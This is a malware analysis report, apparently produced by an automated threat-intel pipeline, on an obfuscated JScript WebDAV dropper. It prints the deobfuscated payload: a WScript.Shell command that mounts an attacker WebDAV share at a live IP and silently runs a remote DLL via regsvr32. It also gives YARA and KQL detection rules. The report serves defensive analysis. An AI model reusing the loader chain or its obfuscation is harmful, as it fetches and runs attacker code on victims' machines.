unclassified-js-webdav-dropper: e2568b43 — 100-entry random-noise JScript dictionary, anti-emulation timeout, WebDAV → regsvr32

Executive Summary

A 362 KB JScript dropper using a 100-entry random-noise dictionary (jtevzimsr) to assemble its payload at runtime. After a one-second timeout /t 1 anti-emulation gate, it spawns cmd /c net use \\94.159.113.84@8888\DavWWWRoot\ followed by regsvr32 /s \\94.159.113.84@8888\DavWWWRoot\168529734355.dll. The entire script is a single unbroken line, defeating naive line-based detection. Eighty-third confirmed sibling in the unclassified-js-webdav-dropper family.

What It Is

• SHA-256: e2568b43284a026f6467ba1b184d38bb905c8edf607d380c369426a198da05a6 ^[file.txt]
• Filename: 1482724878767715548.js (numeric, no semantic content)
• Size: 371,292 bytes (362 KB)
• File type: ASCII text, single unbroken line (65,536 char line length) ^[file.txt]
• Family: unclassified-js-webdav-dropper — high confidence (n=83)
• Dynamic analysis: skipped — not a supported binary class for CAPE detonation ^[dynamic-analysis.md]

How It Works

Stage 1 — Dictionary Construction

The script opens by defining jtevzimsr = [], then assigns 100 key/value pairs mapping random lowercase noise strings (4–18 chars) to single ASCII characters:

jtevzimsr['fwydg']=","; jtevzimsr['tritbakc']="9"; ...

The dictionary covers the full printable ASCII set plus common control characters (\n, \t, \r, \f, \v, \\). ^[strings.txt:1]

Stage 2 — String Assembly via this["eval"]

The remainder of the script (~368 KB) consists of a single this["eval"](...) call whose argument is built entirely from dictionary lookups concatenated with +. The assembled string resolves to:

this["WScript"]["CreateObject"]("WScript.Shell")["run"](
  "cmd /c timeout 1&&cmd /c net use \\\\94.159.113.84@8888\\davwwwroot\\ " +
  "&& cmd /c regsvr32 /s \\\\94.159.113.84@8888\\davwwwroot\\168529734355.dll",
  0, false);

Provenance: deobfuscated payload extracted via Node.js VM with eval hooked. ^[manual-deobfuscation:/tmp/payload_deobf.js]

Stage 3 — Execution Chain

1. timeout /t 1 — one-second anti-emulation delay (slower sandboxes may time out or skip) ^[manual-deobfuscation]
2. net use \\94.159.113.84@8888\DavWWWRoot\ — mounts attacker WebDAV share ^[manual-deobfuscation]
3. regsvr32 /s \\94.159.113.84@8888\DavWWWRoot\168529734355.dll — silently registers remote DLL (T1218.010) ^[manual-deobfuscation]

No persistence, no PowerShell wrapper, no wordpad decoy, no try/catch noise blocks.

C2 Infrastructure

The 94.159.113.x subnet has been observed in this family since sibling f8dce7df (64th sibling, .82). ^[entities/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• Largest dictionary in the family: 100 entries, matching the record set by sibling fbdd83ad (66th sibling). Prior siblings used 36 or 62 entries. ^[entities/unclassified-js-webdav-dropper.md]
• Single-line file: 371,292 bytes with no line terminators defeats grep, awk, and many log-parsers that assume newline-delimited input. ^[file.txt]
• timeout /t 1 anti-emulation: First observed in sibling ddf0c8bd (80th sibling). One-second delay is trivial but enough to evade short-timeout sandboxes. ^[entities/unclassified-js-webdav-dropper.md]
• Noise-key naming: All 100 keys are random lowercase strings (fwydg, tritbakc, iajnayl, tosxzv, rkgzf, drxicm, …). No semantic content, no alliteration, no compound phrases. ^[strings.txt:1]
• Object name jtevzimsr: 10-char random noise, not a meaningful word or phrase. ^[strings.txt:1]
• No batch/polyglot layer: Pure JScript; no SET variables, no %VAR% expansion, no goto label. ^[manual-deobfuscation]
• No PowerShell wrapper: Direct WScript.Shell.run() invocation, reducing process-creation telemetry. ^[manual-deobfuscation]

Deployable Signatures

YARA

rule JS_WebDAV_Dropper_100entry_NoiseDict : script dropper {
    meta:
        author = "pp-hermes"
        description = "JScript WebDAV dropper with 100-entry random-noise dictionary"
        family = "unclassified-js-webdav-dropper"
        hash = "e2568b43284a026f6467ba1b184d38bb905c8edf607d380c369426a198da05a6"
    strings:
        $dictobj = /\w{6,12}=\[\];\w{6,12}\['\w{4,18}'\]=["']\w{0,2}["']/
        $eval = "this[\"e\"+\"v\"+\"a\"+\"l\"]"
        $netuse = "net use" nocase
        $dav = "DavWWWRoot" nocase
        $regsvr = "regsvr32" nocase
        $timeout = "timeout" nocase
    condition:
        $dictobj in (0..2048) and
        $eval and
        ($netuse and $dav) and
        ($regsvr or $timeout)
}

Behavioral Hunt Query (KQL)

// Process creation: wscript.exe spawning cmd.exe with net use + regsvr32 over WebDAV
DeviceProcessEvents
| where InitiatingProcessFileName =~ "wscript.exe"
| where FileName =~ "cmd.exe"
| where ProcessCommandLine contains "net use"
  and ProcessCommandLine contains "DavWWWRoot"
| where ProcessCommandLine contains "regsvr32"
| summarize count() by DeviceName, AccountName, InitiatingProcessCommandLine, ProcessCommandLine

IOCs

Detection Signatures

References

• unclassified-js-webdav-dropper — family entity page
• js-dictionary-char-lookup-obfuscation — technique page for dictionary-lookup obfuscation
• webdav-regsvr32-dll-sideloading — technique page for WebDAV + regsvr32 execution chain

Provenance

• file.txt — file utility output (ASCII text, very long lines, no line terminators) ^[file.txt]
• dynamic-analysis.md — CAPE skipped (unsupported file type) ^[dynamic-analysis.md]
• strings.txt — raw strings (one unbroken line, 371,292 bytes) ^[strings.txt:1]
• metadata.json — OpenCTI artifact metadata (filename 1482724878767715548.js, labels js, malware-bazaar) ^[metadata.json]
• triage.json — static triage metadata (tier: deep, family: null, tier_reason: "no family attribution — needs deep characterization") ^[triage.json]
• Manual deobfuscation — Node.js VM with eval hooked to extract payload string; dictionary parsed via Python regex; payload resolved via string-literal concatenation. Working files: /tmp/payload_extracted.js, /tmp/payload_deobf.js, /tmp/dict.json. ^[manual-deobfuscation]